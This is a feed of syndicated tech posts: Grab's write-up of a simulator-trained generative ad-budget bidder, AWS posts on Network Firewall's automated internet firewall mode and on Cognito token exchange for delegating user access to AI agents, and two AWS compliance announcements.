Post Syndicated from xkcd.com original https://xkcd.com/3329/

Post Syndicated from xkcd.com original https://xkcd.com/3329/

Post Syndicated from Grab Tech original https://engineering.grab.com/part-2-ads-simulation-blogpost
Grab runs marketplaces where many important decisions unfold over time, rather than as one-step predictions. Mobility systems need to anticipate how taxi demand and driver supply may evolve across locations and time windows. Food systems need to plan around changing order traffic, merchant capacity, and delivery demand. Ads has the same problem with merchant campaign budgets: traffic quality, user intent, and campaign spend opportunities change throughout the day.
Prediction models estimate what may happen next, such as demand, conversion likelihood, or expected engagement. Many Grab use cases need the system to go further: generate possible future trajectories or action plans, evaluate them against business constraints, and choose a safe path forward.
That is the problem generative models address. They can propose structured futures, such as demand-supply trajectories, order traffic scenarios, or budget pacing plans, conditioned on the current marketplace state and on business goals. Generated futures and generated actions cannot be trusted just because they look plausible. They need to be trained, evaluated, and stress-tested before they influence real users, merchants, drivers, or budgets. This is part 2 of 2. Read Part 1 where we discussed the ads simulator.
In Grab Ads, the business problem is merchant budget delivery. An ideal campaign spends efficiently across auctions under uneven traffic, winning high-value opportunities while using its target budget. Controllers such as proportional-integral-derivative (PID) controllers are widely used in digital advertising, but they are reactive. They adjust bidding pressure only when a campaign is ahead of or behind its target, and they do not plan how spend should unfold over the next window. To improve ad auction bidding for Grab and its merchants, we propose a generative bidder that plans pacing actions, so campaigns can bid in ways that better serve user experience and business goals. The design follows the diffusion completer-aligner approach described by Li et al. (2025).
A generative bidder produces a short sequence of future pacing actions for a campaign. Ads can then plan budget delivery under marketplace constraints, and use simulation to train, validate, and stress-test those plans before they affect live merchant budgets.

Part 1 introduced the ads simulator. The simulator does two jobs here. It creates safe opportunities to explore pacing strategies while the bidder trains, and it checks whether those strategies are safe enough for a live test. Training teaches the model to produce plausible, useful pacing plans. Validation checks that those plans survive auction mechanics, budget constraints, delayed signals, and marketplace guardrails.
A traditional budget pacing controller reacts to the gap between how much a campaign should have spent by now and how much it has actually spent. If a campaign underspends, the controller increases bidding pressure. If it overspends, the controller backs off. The pattern is reliable, and it is reactive.
A generative bidder plans ahead. Instead of one adjustment for the current auction, it generates a sequence of pacing actions for a short future window, on the order of tens of minutes. The plan is conditioned on campaign state, time, budget, billing type, current fulfillment progress, the allocation target, and return on ad spend (ROAS) goals.
The simulator does more than score the bidder after training. It also generates training data. Candidate pacing plans run through simulated auctions, and the resulting trajectories, budget movement, fulfillment progress, ROAS, and guardrail metrics are recorded as training examples. The Generator learns which pacing sequences are realistic. The Aligner learns how those sequences affect delivery and efficiency.
The system can then propose different spend shapes over the next window. One plan may spend steadily. Another may hold back early and bid more aggressively later. A third may increase pressure when the model expects higher-value traffic. Simulation lets us explore these alternatives safely, learn from their outcomes, and test the resulting bidder before it affects real merchants.

The bidder uses a generate-then-align architecture. The Generator proposes a 30-minute pacing plan, represented as a sequence x = [p₁, …, p₃₀], where each pᵢ ∈ [0, 1] and is the pacing action for one minute. The Aligner evaluates each plan by predicting its final fulfillment progress and ROAS.
Let x₀ be a real pacing sequence from historical logs or from simulator-generated training data, and let c represent the campaign context and target outcomes. During training, the diffusion process adds Gaussian noise to x₀:
xₜ = √(ᾱₜ) x₀ + √(1 − ᾱₜ) ε, ε ~ 𝒩(0, I)
The Generator learns to predict the noise that was added:
L_gen = 𝔼[‖ε − εθ(xₜ, t, c)‖²]
At serving time, the Generator starts from random noise and reverses this process to produce candidate pacing plans. Classifier-free guidance steers generation toward the requested targets:
ε_guided = ε_uncond + s(ε_cond − ε_uncond)
The Aligner receives the campaign context and a candidate pacing trajectory, then predicts the expected outcome:
ŷ = Aϕ(c, x)
The planner compares these predictions with the desired campaign targets:
J(x; c) = Σₘ wₘ ρ(ŷₘ − yₘ*)
Here, yₘ* is the target for metric m, w_m controls its importance, and rho is an error function. The target metrics may represent revenue, budget utilization, or other business objectives.
Because the Aligner is differentiable, the planner can refine the pacing actions at inference time without changing the Generator or Aligner weights. For candidate j at refinement step k, it computes the gradient of the objective with respect to the pacing trajectory:
gⱼ⁽ᵏ⁾ = ∇ₓ J(xⱼ⁽ᵏ⁾; c)
It then updates the trajectory in the direction that reduces the predicted error, and clamps each action to [0, 1]:
xⱼ⁽ᵏ⁺¹⁾ = clip(xⱼ⁽ᵏ⁾ − αₖgⱼ⁽ᵏ⁾, 0, 1)
The planner generates and refines multiple candidate trajectories, then selects the one with the lowest target error:
x* = argminⱼ J(xⱼ; c)
The Generator produces realistic and diverse pacing plans. The Aligner makes them goal-aware by refining them toward defined targets. The simulator supplies the historical and simulated trajectories used to train both components, and it is the environment used to validate the refined plans.
Training starts with historical behavior. Production data shows how campaigns paced spend under existing controllers. This phase gives the bidder a safe baseline: daily traffic rhythms, campaign-level differences, budget pressure, and the relationship between pacing actions and observed outcomes.
This is behavioral cloning. It is a useful initialization, and it can also reproduce limits in the historical data or in the existing control strategies. The model should learn from production behavior without being restricted to copying it.
The simulator is what lets training move past that baseline. In simulator-driven training, candidate bidders run against replayed historical traffic. The loop collects trajectories and outcomes, and uses those outputs to improve the next model version. Weak strategies can fail offline. Promising strategies can be reinforced across many simulated campaign states. The model can explore pacing plans that would be too risky to test directly in production.
Simulator-driven training is a modeling problem and a distributed systems problem. A useful training round has to replay many historical traffic slices, run candidate policies through the simulator, collect trajectory-level outcomes, train the Generator and Aligner, and register a new model version. Doing that serially would make iteration too slow.
Ray, a distributed computing framework, gives this loop its throughput. A single simulator run can replay one day of traffic and process multiple auction requests. A training round can launch independent simulator workers across different historical dates, campaign slices, or candidate policy versions. Each worker loads its assigned auction data, runs the bidder through replayed traffic, and writes pacing trajectories, spend movement, fulfillment progress, ROAS, and guardrail metrics back to storage.
Ray runs this orchestration as a cluster workload, rather than as a notebook or a one-off batch script. It allocates resources across simulation and training workers, keeps independent replay jobs running concurrently, and gives the loop a way to retry or replace failed work. Inside each simulator, auction processing can still use local parallelism for groups of auction requests. Ray handles parallelism across days, markets, model candidates, and training phases.
The output of this fan-out becomes the next training dataset. The Generator learns from pacing trajectories. The Aligner learns from observed end-of-window outcomes. After training, the updated models are registered as versioned artifacts that can move into validation.
The combined simulator and Ray layer matters for three reasons:
The training loop has seven steps:
Generation, execution, and learning stay connected. The model does not imitate old pacing behavior once and then stop. It proposes plans, the simulator shows the consequences, training absorbs those consequences, and the next model version gets another chance to plan better.
Training asks whether the model can learn. Validation asks whether the learned policy should be trusted.
For generative bidders, validation has to happen at several levels. A model can have a good validation loss and still be unsafe in the auction loop. A generated sequence can look realistic and still underspend. An Aligner can predict well on historical trajectories and still misjudge trajectories from a new Generator. Validation is a separate gate after training, not a side effect of it.
The first validation layer checks whether the training pipeline and the model are internally sound.
For the Generator, the training code keeps a time-based validation split and logs validation loss, the mean difference of reconstructed sequences, and distribution divergence. The evaluation review adds visual trajectory inspection, distribution fidelity checks, Wasserstein distance between generated and real pacing sequences, and conditioning sensitivity tests. These checks answer basic questions: do generated pacing plans follow real pacing rhythms, do their values occupy a plausible range, and do they change when campaign context changes?
For the Aligner, validation tracks whether the model predicts fulfillment progress and ROAS on held-out windows. It logs fulfillment and ROAS losses, mean absolute error (MAE), and mean squared error (MSE). These metrics matter because the Aligner guides candidate selection. If it overpredicts fulfillment progress, the planner may treat a campaign as on track when the campaign is underspending.
This layer is necessary, and it is not sufficient. It validates the learned components in isolation. The next layer validates the bidder as a decision system.

The simulator validation layer replays the bidder inside the auction environment.
The question changes from whether the model predicts well to what happens when this bidder controls pacing over time. The simulator compares the generative bidder with the existing PID-style pacing baseline under the same historical traffic and campaign conditions. It measures budget adherence, ROAS, order value, spend smoothness, early budget exhaustion, and guardrail violations, to determine that the generative bidder improves on PID without compromising delivery or efficiency.
A generative bidder also needs scenario validation. The simulator can stress the policy under cases that may be rare or risky in live traffic:
These stress tests make safety a training and release gate. The bidder should do more than look good on average. It should fail gracefully when the market surprises it.
Deployment comes after the training and validation gates. A candidate first passes dataset and model validation. It then passes simulator validation against the baseline and the guardrails. It then enters a scoped live experiment.
At serving time, the planner uses the trained Generator and Aligner to create short-lived pacing plans. It generates multiple candidate trajectories, refines them with the Aligner, selects the best plan, executes that plan for the next window, and refreshes the plan when the window expires. The deployed system keeps the same generate, align, select, and refresh pattern used in offline development, under live production constraints.
Live experiments remain the source of truth. The simulator can reduce risk, narrow the candidate set, and expose bad policies early. It cannot replace production evidence. After a live result lands, the gap between simulated and live outcomes becomes calibration data for the next simulator version.
That feedback matters because simulator fidelity moves. As the bidder enters regimes that historical controllers never explored, the simulator has to keep learning too.
This work explores a shift from models that primarily predict outcomes toward generative algorithms that propose candidate actions, plans, and strategies. The framing is specific to this system. It does not describe a company-wide direction.
Many Grab marketplace problems unfold over time. Mobility systems need to reason about future demand and supply. Food systems need to anticipate order traffic and capacity. Ads systems need to decide how merchant budgets should move across uneven traffic while protecting ROAS, revenue, and user experience. In each case, the opportunity is to generate possible futures or action plans and test which ones are safe and useful, not only to predict what may happen.
For Ads, generative bidders are an early example. Instead of reacting auction by auction, a bidder can generate a short pacing plan for the next window, conditioned on campaign state, budget pressure, traffic context, and business goals. The simulator is the environment where these generated plans can be trained, compared, stress-tested, and filtered before they reach production.
The longer-term direction is to make this simulation-to-live loop a standard path for generative algorithms. Offline simulation can identify promising candidates, reject unsafe ones, and expose where a strategy is sensitive to specific traffic slices. Live experiments can then validate a smaller, stronger candidate set and feed real outcomes back into simulator calibration.
The goal is to build the infrastructure that lets Grab move safely toward generative decision-making: generate broadly, validate rigorously, launch narrowly, and learn continuously from production.
We gratefully acknowledge Allen Lin and Jianning Zhang from Grab’s DNA Data Science team for sharing valuable insights into Grab’s advertising systems and data, and for helping validate the simulator’s fidelity. We also thank Ruike Zhang, Richard Ryu, Padarn George Wilson, and Weilun Wu for their support and guidance throughout this work.
Grab is Southeast Asia’s leading superapp, serving over 900 cities across eight countries (Cambodia, Indonesia, Malaysia, Myanmar, the Philippines, Singapore, Thailand, and Vietnam). Through a single platform, millions of users access mobility, delivery, and digital financial services, including ride-hailing, food delivery, payments, lending, and digital banking via GXS Bank and GXBank. Founded in 2012, Grab’s mission is to drive Southeast Asia forward by creating economic empowerment for everyone while delivering sustainable financial performance and positive social impact.
Powered by technology and driven by heart, our mission is to drive Southeast Asia forward by creating economic empowerment for everyone. If this mission speaks to you, join our team today!
Li, Y., Gao, J., Jiang, N., Mao, S., An, R., Pan, F., Zhao, X., An, B., Cai, Q., and Jiang, P. (2025). Generative auto-bidding in large-scale competitive auctions via diffusion completer-aligner. arXiv. https://doi.org/10.48550/arXiv.2509.03348
Post Syndicated from Lawton Pittenger original https://aws.amazon.com/blogs/security/aws-network-firewall-introduces-automated-internet-firewall-mode-preview/
AWS Network Firewall now offers automated internet firewall mode (Preview). In this mode, Network Firewall applies your centrally defined rules to traffic at the internet gateway of each of your virtual private clouds (VPCs). It also performs built-in network address translation (NAT) for outbound-only connections. A subnet that reaches the internet needs only one route, directly to the internet gateway. You no longer need to deploy firewall endpoints and NAT gateways in each VPC and configure the routes between them and the subnets. If you’re new to internet traffic inspection, you can start with AWS managed rule groups for Network Firewall. AWS security experts maintain and update these rule groups to help protect your workloads against changing threats. You can deploy these managed rule groups centrally across your environment.
With automated internet firewall mode, you can:
In this post, we explain how automated internet firewall mode works and how it fits your existing architecture. We also walk through the steps to deploy it across your environment.
In automated internet firewall mode, Network Firewall applies your rules at the internet gateway of each VPC. Before this launch, inspecting a VPC’s internet traffic meant routing each subnet through a firewall endpoint. Resources that needed outbound-only connectivity also went through a NAT gateway. This mode helps simplify that model by moving inspection to each VPC’s internet gateway. Each subnet now has one route to the internet gateway, where the firewall inspects the traffic and performs built-in NAT (Figure 1).
Figure 1: Outbound traffic before and after automated internet firewall
Each VPC gets its own firewall, not a share of one. When you use VPC endpoint associations to protect multiple VPCs with one firewall, those VPCs share that firewall’s capacity in each Availability Zone. In automated internet firewall mode, each VPC’s firewall supports throughput of up to 100 Gbps in each Availability Zone (Service quotas). It also works when VPCs have overlapping CIDR ranges, because their traffic doesn’t meet in a shared inspection network where the addresses would conflict.
The firewall inspects inbound and outbound traffic. For outbound-only connectivity, the firewall first inspects the traffic and then performs NAT, so your rules and logs see each workload’s private IP address. Built-in NAT translates outbound IPv4 connections from resources without a public IP address, and IPv6 traffic isn’t translated. If your destinations accept only allowlisted source addresses, an Amazon VPC IP Address Manager (IPAM) policy lets you choose the NAT addresses that automated internet firewall mode uses (NAT for outbound traffic).
The firewall uses Network Firewall Next Generation firewall policies. You can start from AWSManagedTemplateIGWFirewallBaseline, an AWS managed template that AWS security experts maintain. You can then add AWS managed rule groups and your own rule groups.
Automated internet firewall mode only inspects traffic that crosses the internet gateway. For traffic between VPCs and to on-premises networks over AWS Direct Connect or AWS Site-to-Site VPN, we recommend a transit gateway-attached Network Firewall.
Before this launch, a public subnet had a direct route to the internet gateway, and its resources used public IP addresses, so they could connect out and accept inbound connections. A private subnet had no direct route, and its resources reached the internet through a NAT gateway. With automated internet firewall mode, a subnet that reaches the internet can route 0.0.0.0/0 directly to the internet gateway, so the route table no longer separates public from private. Instead, each subnet’s connectivity type decides how its resources reach the internet. You set it in the Network Security Manager policy, not on the subnet. Table 1 maps each type to the model you know.
| Connectivity type | Works like | What happens |
| Flexible (recommended) | A public and a private subnet in one | A resource with a public IP address, such as an Elastic IP address, gets bidirectional access, as in a public subnet. A resource without one gets outbound-only access through built-in NAT, similar to a private subnet. |
| Bidirectional | A public subnet | Resources with a public IP address connect out and accept inbound connections. Resources without one can’t reach the internet. |
| Outbound-only | A private IPv4 subnet behind a NAT gateway, or an IPv6 subnet behind an egress-only internet gateway | Unsolicited inbound connections are dropped. Resources without a public IP address connect out through built-in NAT, and resources with one keep their own address. |
| Excluded | A subnet without a firewall | Traffic bypasses the firewall and built-in NAT. |
The firewall inspects traffic in each type except excluded (Figure 2). Each policy sets one default connectivity type for all subnets in scope. You can override it for specific subnets based on tags or on Amazon Resource Name (ARN). When a subnet matches more than one override, the first one in the list applies.
Figure 2: Flexible, bidirectional, and outbound-only subnets are inspected. Excluded subnets aren’t.
Connectivity types also decide which inbound connections reach your resources. The firewall inspects inbound connections to resources with a public IP address in flexible and bidirectional subnets, such as the Network Load Balancer for a non-HTTP service in Figure 3. Figure 3 also shows the outbound path, where instances without a public IP address connect out through the firewall and then built-in NAT. For web applications and APIs, we still recommend AWS WAF on Amazon CloudFront in front of an Application Load Balancer. You can set that load balancer’s subnet to excluded so Network Firewall doesn’t inspect the same request again. Keep in mind that excluded applies in both directions, so any outbound traffic from that subnet also bypasses the firewall.
Figure 3: Inbound and outbound traffic showing inbound, outbound, and excluded connections
You manage automated internet firewall mode in AWS Network Security Manager. With AWS Organizations, a central security team deploys policies from the Network Security Manager administrator account to the whole organization, to organizational units (OUs), or to specific accounts. Network Security Manager also supports a single-account model, where it applies policies only to that account’s VPCs. You can start from the Network Firewall console or the Network Security Manager console, but the firewall itself is read-only outside Network Security Manager.
Network Security Manager uses three components (Figure 4):
AWSManagedTemplateIGWFirewallBaseline, that you can share across policies.
Figure 4: A deployment binds a policy to a scope, and Network Security Manager creates a firewall in each VPC in scope
This model matters most when you manage many VPCs. Because Network Security Manager applies the policy at the internet gateway, the firewall is designed so that VPC owners and subnet owners without the proper privileges can’t bypass inspection by changing routes. Subnets set to excluded and Availability Zones where automated internet firewall mode isn’t supported aren’t inspected.
Many organizations want one security baseline everywhere, while some accounts, organizational units, or applications need rules in addition to the baseline. To do this, you create two policies, each deployed to its own scope. The organization policy holds a baseline template, and the Account A policy holds the same baseline template plus Account A’s rules (Figure 5). The template lets you maintain the baseline rules once and reuse them in both policies. Where policies overlap, the policy with the lower priority number applies in full, and the policies don’t merge. In Account A, the Account A policy (priority 100) wins over the organization policy (priority 1000), so it must include the baseline template. Its enforcement mode, logging, and connectivity type also replace the organization policy’s. To learn more, see How AWS Network Security Manager works.
Figure 5: The Account A policy, priority 100, takes priority in Account A. Other accounts get the organization policy, priority 1000.
We recommend starting in monitor mode, especially in VPCs with existing workloads. In monitor mode, the firewall logs what your rules would do but doesn’t drop traffic because of them. After the logs show the results you expect, switch the policy to enforce. In this example, we create a policy in monitor mode in six steps.
Figure 6: Create a new internet firewall
AWSManagedTemplateIGWFirewallBaseline. Under Enforcement mode, select Monitor, and choose destinations for alert logs and flow logs.
Figure 7: Define protections and set destinations for logs
Figure 8: Set the policy details
Figure 9: Set the scope
Figure 10: Choose the subnet connectivity type
Figure 11: Review and deploy
Network Security Manager then creates a firewall at the internet gateway of each VPC in scope. For the full steps, including the organization baseline with account-specific rules, see Getting started with automated internet firewall.
When you deploy automated internet firewall mode to an existing VPC, you might not need to change routes on day one. With the flexible type, the firewall inspects existing resources and keeps the addresses they already use (Figure 12):
Figure 12: Day-one source addresses in an existing VPC with Flexible subnets
Later, at your own pace, you can retire each NAT gateway by routing its subnets directly to the internet gateway. Built-in NAT then takes over. The source address changes to one that automated internet firewall mode assigns or one from your IPAM policy pool, so update allow lists that name the NAT gateway’s address first. Your logs then show each workload’s private IP address. If you inspect inbound or outbound internet traffic today with Network Firewall endpoints, automated internet firewall mode can take over that inspection. After you confirm that your new policy covers the same rules, you can remove the endpoints and routes that you use for internet traffic. For each architecture, see Working with existing architectures.
Automated internet firewall mode (Preview) is available in all AWS commercial Regions. For pricing, see AWS Network Firewall pricing. During the preview, some features and instance types aren’t supported. For the list, see Automated internet firewall. Features, service quotas, and console labels can change during the preview. Your use of the preview is subject to the Betas and Previews section of the AWS Service Terms.
In this post, we showed you how automated internet firewall mode applies Network Firewall inspection and built-in NAT at the internet gateway of your VPCs. You define and control policies centrally in Network Security Manager. It is designed so that VPC owners without the proper privileges can’t route around it, and your policy applies to new VPCs in scope when teams create them. To learn more, see Automated internet firewall in the Network Firewall Developer Guide.
If you have questions about this post, contact AWS Support or start a new thread on AWS re:Post.
Post Syndicated from Edward Sun original https://aws.amazon.com/blogs/security/delegate-user-access-to-ai-agents-with-amazon-cognito-token-exchange/
Suppose you use a restaurant review app to check reviews, book tables, and email invitations to your friends. With OAuth 2.0, the app sends you to the authorization server that your email provider trusts, where you sign in and approve only the access the app requested, such as the contacts.read and messages.send scopes. The review app won’t sees your credentials. It only receives a short-lived access token limited to the scopes you approved, which it presents to your email provider’s API to read your contacts and send invitation emails on your behalf.
That works while the app calls the email API directly, but many requests take a second hop to call downstream services. When you book a table, the app calls its reservation service with your token to email details to your friends, which token should the reservation service use to call the email API? Forwarding the access token issued to the review app hides the reservation service because the email API thinks the app sent the request. Using the reservation service’s own token from an OAuth 2.0 client credentials grant loses user identity, because the email API knows which service called, but not for which user. Figure 1 shows this second hop.
Figure 1: The reservation service calling the email API for a signed-in user
OAuth 2.0 Token Exchange, defined in RFC 8693, handles this second hop. Instead of forwarding your access token, the reservation service goes back to the authorization server with two things: your access token, which shows what you consented for, and its own credentials, which show who it is. The authorization server returns a new token for the email API, called issued token, which identifies the user, can also name the reservation service, and carries the same scopes or fewer.
AI agents make this second hop more common and more important, for example when the review app adds an AI agent that reserves tables and invites friends for you. The agent picks its tools at run time, such as a Model Context Protocol (MCP) server that sends invitations, and those tools call APIs for you. With token exchange, each hop gets only the scopes it needs, and the email API can see which service acted for you.
In this post, we show you how to use the new OAuth token exchange feature in Amazon Cognito when services and AI agents call your APIs on behalf of users, and Cognito serves as the OAuth 2.0 authorization server. We explain the difference between impersonation and delegation, and show you examples of how the feature works with an MCP server and Amazon Bedrock AgentCore Identity.
Every token exchange starts with a subject token that represents the user. In Amazon Cognito, the subject token can be an access token or ID token that your user pool issued to the app where the user signed in. The calling service sends the subject token to Cognito, and Cognito returns a new token for that service to use at the downstream resource server.
Token exchange distinguishes two patterns, impersonation and delegation. The calling service chooses which pattern to use based on whether the downstream API needs to authorize the service that’s acting on behalf of the user:
client_id claim identifies the app client that performed the exchange, but it doesn’t have an act (actor) claim to show a service is acting for the user.Impersonation fits when the calling service only relays the user’s request and makes no decisions of its own, such as a backend for frontend (BFF) that forwards requests from a web app to your APIs. It also fits where a downstream API authorizes the user alone and doesn’t need to know which service relayed the call.
For AI agents, delegation is the important pattern. If the agent used a token of its own, the record would show that an agent called the resource server, but not for whom. With impersonation, the record shows the user but not the agent acting for them. You need delegation to see both for proper authorization and audit trails.
Figure 2: Delegated access across two service hops
Figure 2 shows the flow for delegated access between services:
/oauth2/token endpoint and authenticates with its own app client. It sends the user’s access token as the subject token and names the resource server as the audience. For delegation, it also sends its own token as the actor token.sub. For delegation, it also identifies the service in the act claim.aud claim names itself, then authorizes the request for the user and returns the user’s data to the service.In addition to requesting a token exchange at the /oauth2/token endpoint on your user pool’s domain, you can call the GetDerivedToken API with an AWS SDK, which doesn’t require a user pool domain. Both accept the same subject token, actor token, audience and scopes, and return an issued token with the same claims.
Here’s an example issued token from a delegation token exchange. The token keeps user’s identity in sub and names the calling service in the act claim.
The email API authorizes the user identified by sub, and act tells it which service is acting for that user. It can then decide whether it trusts that service, and its logs can show both the user and the service for each request. Accept a delegated token only when act.client_id reflects a service you trust, such as the invitations MCP server, and matches the token’s client_id meaning the trusted service requested the token itself.
Amazon Cognito checks every exchange before it issues a token. It validates the subject token’s signature and expiry, and refuses a token that has been revoked or that belongs to a disabled user in your user pool. If the request includes an audience, the issued token is bound to that resource server, and every requested scope must belong to it. The issued token carries only scopes that both the subject token and the app client allow, so an exchange can narrow your access but doesn’t add to it. It also doesn’t outlive the subject token, and the exchange doesn’t return a refresh token.
For the full list of checks, see Security model in Exchanging tokens for downstream services in the Amazon Cognito Developer Guide. Checks by Cognito don’t replace the resource server’s own: it should still verify the JWT tokens, including signature, issuer, expiry, audience and scopes, and for delegated requests, it should validate the act claim.
Your user pool might have a pre token generation AWS Lambda trigger, which can add or suppress custom claims and scopes in your user pool’s tokens. Amazon Cognito also invokes this trigger during token exchange, with the trigger source TokenGeneration_TokenExchange. However, Cognito doesn’t add any scopes that the trigger returns for an exchange, so the calling service can’t gain more permissions than the user’s token already has. You can still use the trigger to remove scopes from the issued token. For more information, see Customize the exchanged token with a Lambda trigger.
Token exchange is an OAuth 2.0 grant, and you can enable it for each application client as an authentication flow in your Amazon Cognito user pool. Check the prerequisites in the Amazon Cognito Developer Guide.
To enable token exchange for an app client:
Figure 3: Cognito token exchange app client
Figure 4: Amazon Cognito token exchange authentication flows
Now that you’ve enabled token exchange, we show you two examples of how it works in an agentic workload. Both continue the review app story: its AI agent sends invitations for you by calling the email API, and the email API needs to know who you are and which component acted for you.
The two examples differ in where the exchange happens. Amazon Cognito fills the act claim from the actor token, so act names whichever component sends its own actor token in the exchange. In Example 1, a shared intermediary—such as an MCP server or an AI gateway—performs the exchange for every agent that calls it, so act names the intermediary. In Example 2, the agent requests the exchange itself, so act names the agent.
In this example, the intermediary sits in front of the email API. We show it two ways: an MCP server you build that performs the exchange in its own code, and an AI gateway in Amazon Bedrock AgentCore Gateway that performs it through configuration.
Using your own MCP server:
The MCP authorization specification doesn’t allow an MCP server to pass along the token it received from the MCP client. To call the email API for you, the invitations MCP server needs a token of its own. It uses its own app client in your user pool to perform a delegation token exchange.
Figure 5 shows how the invitations MCP server sends invites for you.
Figure 5: The invitations MCP server sending invites for a signed-in user
send_invites tool on the invitations MCP server with the user’s access token.
client_id and the invitations-mcp/tools scope, then gets its own actor token with its client ID and secret in an OAuth 2.0 client credentials grant flow./oauth2/token endpoint in a delegation token exchange. It requests only email-api/messages.send, because sending invites doesn’t require reading your contacts.
sub claim and adding the MCP server’s app client to act claim.
aud=email-api and the messages.send scope, and it confirms that act.client_id matches client_id and names an MCP server it trusts. It then sends the invites from your account and records that the invitations MCP server sent them for you.To set up the MCP server:
email-api) and the MCP server (invitations-mcp) as resource servers in your user pool, with the scopes used.ALLOW_TOKEN_EXCHANGE_DELEGATION in authentication flows, allow the client credentials grant so the MCP server can get its actor token, and allow the email-api/messages.send scope that it requests in the exchange.email-api/messages.send when you sign in, along with invitations-mcp/tools. The exchange can remove scopes from your token, but it can’t add any.Other AI agents can also sign you in through Amazon Cognito and call the invitations MCP server. They can register with your user pool through dynamic client registration (DCR), or identify themselves with a client ID metadata document (CIMD). Token exchange works the same way for these clients. They send your access token to the MCP server, and the MCP server performs the exchange with its own app client, so the issued token names you in sub and the MCP server in act.
Using AgentCore Gateway:
If you don’t want to write the exchange in your MCP server, AgentCore Gateway can perform it for you. Amazon Bedrock AgentCore Identity can perform the same token exchange on behalf of AgentCore Gateway, so the gateway doesn’t store the OAuth client secret or build the request.
Here, AgentCore Gateway replaces the invitations MCP server. It exposes the email API as an MCP tool through an OpenAPI target, and the review app’s AI agent calls that tool with your access token.
Figure 6 shows how AgentCore Gateway sends invites for you.
Figure 6: AgentCore Gateway sending invites through AgentCore Identity
subject_token_type and audience values from the target’s custom parameters.sub, and the AgentCore Gateway app client in act.To set up AgentCore Gateway:
CustomOauth2 provider type, and enable delegation in its customOauth2ProviderConfig settings:
allowedClients to the review app’s client ID.subject_token_type and audience as custom parameters. Because your token is an access token, set subject_token_type to urn:ietf:params:oauth:token-type:access_token.
AgentCore Gateway handles the exchange through configuration, so you don’t need to write agent or interceptor code for it. For more information, see Set up outbound authorization for your gateway.
With either your own MCP server or an AI gateway, act names the intermediary rather than the agent that called it. Every agent behind it appears as the same app client. This design still protects the email API. It accepts only tokens with aud=email-api, and your original access token has no such audience, so an agent can’t bypass the intermediary by forwarding your token. Each call that reaches the email API carries a token with only the scope it needs. The agents don’t hold downstream credentials or exchange logic, and the email API trusts one intermediary instead of every agent. If the email API needs to tell agents apart, perform the exchange in the agent, as Example 2 shows.
If the review app’s AI agent runs on Amazon Bedrock AgentCore Runtime, the agent can request the exchange itself through AgentCore Identity and call the email API directly. The issued token then names the agent in act, so the email API knows which agent sent the invites.
Figure 7 shows how the agent sends invites for you.
Figure 7: The AI agent on AgentCore Runtime sending invites through AgentCore Identity
sub and the agent’s app client in act, and AgentCore Identity passes it to the agent.act.client_id names an agent it trusts.The issued token has the same shape as in Example 1, but client_id and act name the agent’s app client.
To set up the agent:
ALLOW_TOKEN_EXCHANGE_DELEGATION for it. To tell agents apart in act claim, give each agent its own app client and credential provider.allowedClients set to the review app’s client ID.The decorator makes the GetResourceOauth2Token call in step 3 of Figure 7 and passes the issued token to your function as access_token.
For more information, see On-behalf-of token exchange with AgentCore Identity.
Think back to the agent at the start of this post. The agent had to book a table and send invitations for you, and forwarding the user’s original access token would have hidden which service acted for you and given it more access than the job needed. With Amazon Cognito token exchange, each hop gets its own scoped-down token, bound to the resource server it calls and limited to the scopes it needs. Each issued token also expires no later than your own token and doesn’t come with a refresh token, so no service can keep access after your token expires.
For AI agents, delegation adds a second identity to the token. The act claim names the service doing the work, so a downstream API can choose which agents it trusts. Your audit records can then show both the person who authorized a request and the agent that made it.
You can try this on a new or existing Amazon Cognito user pool on the Essentials or Plus plan. Enable ALLOW_TOKEN_EXCHANGE_DELEGATION for an app client, register the downstream API as a resource server, and call GetDerivedToken or the token endpoint.
If you have questions about this post, contact AWS Support or start a new thread on AWS re:Post.
Post Syndicated from The Atlantic original https://www.youtube.com/shorts/9k0H6SvOwdo
Post Syndicated from Basit Janjua original https://aws.amazon.com/blogs/security/aws-completed-its-second-iso-iec-420012023-surveillance-audit/
In November 2024, Amazon Web Services (AWS) was the first major cloud service provider to announce the ISO/IEC 42001 accredited certification for AI services, covering Amazon Bedrock, Amazon Q Business, Amazon Textract, and Amazon Transcribe.
In November 2026, AWS successfully completed its second surveillance audit for ISO 42001:2023, Artificial Intelligence Management System (AIMS), with no findings and added AWS DevOps Agent as a new service now covered under its ISO 42001:2023 certification program.
This demonstrates the continuous commitment by AWS to responsible AI practices. With this independent validation, our customers can gain assurances on our commitment to responsible AI that enables customers to build and operate AI applications responsibly using AWS services.
For a full list of AWS services that are certified under ISO and CSA STAR, see the AWS ISO and CSA STAR Certified page. Customers can also access the certifications through the AWS Management Console for AWS Artifact.
If you have questions about this post, contact AWS Support or start a new thread on AWS re:Post.
Post Syndicated from Borja Larrumbide original https://aws.amazon.com/blogs/security/aws-achieves-spains-national-limited-distribution-difusion-limitada-and-nato-restricted-accreditation-in-the-aws-europe-spain-region/
Amazon Web Services (AWS) is pleased to announce that AWS has achieved Spain’s national Limited Distribution (“Difusión Limitada”) and NATO Restricted accreditation for the AWS Europe (Spain) Region. The Difusión Limitada and NATO Restricted accreditation was granted by the Spanish Delegated Authority for the Security of Classified Information, the Secretary of State Director of Spain’s Centro Nacional de Inteligencia (CNI). The Centro Criptológico Nacional (CCN) and the Oficina Nacional de Seguridad (ONS) are working bodies of the CNI, which audited AWS against the CCN-STIC-004 policy and the applicable ONS requirements.
With this milestone, AWS becomes the first cloud provider to be accredited under NATO Restricted level, and the first to be accredited for Difusión Limitada in the AWS Europe (Spain) Region. In Spain, this was a double achievement: AWS first met the national Difusión Limitada requirements and then, in addition to this national methodology, achieved the NATO Restricted accreditation by incorporating the requirements of NATO Directive 32. This demonstrates our continued commitment to helping the public sector, defense, and NATO-affiliated customers run sensitive workloads in the cloud while meeting the highest applicable national and international security requirements.
The Difusión Limitada and NATO Restricted accreditation by the CNI confirms that the AWS system in the AWS Europe (Spain) Region meets the procedural and security requirements for handling classified information up to the Difusión Limitada and NATO Restricted level.
Spain’s framework for protecting national classified information is administered by the ONS and the CCN, under the CNI. In 2026, Spain established the framework that enables handling of Difusión Limitada information in the commercial public cloud, under which this accreditation was granted. The accreditation builds on the AWS ENS High certification and the CCN’s IT Product and Service Catalogue (CPSTIC) qualifications. The scope of the accreditation covers the CPSTIC-qualified services and all AWS services certified under ENS High (see the list of AWS services in scope for ENS High). Only the services within this scope that are qualified or certified under the CCN framework (CPSTIC and ENS High) and run in the AWS Europe (Spain) Region can be used for Difusión Limitada and NATO Restricted workloads.
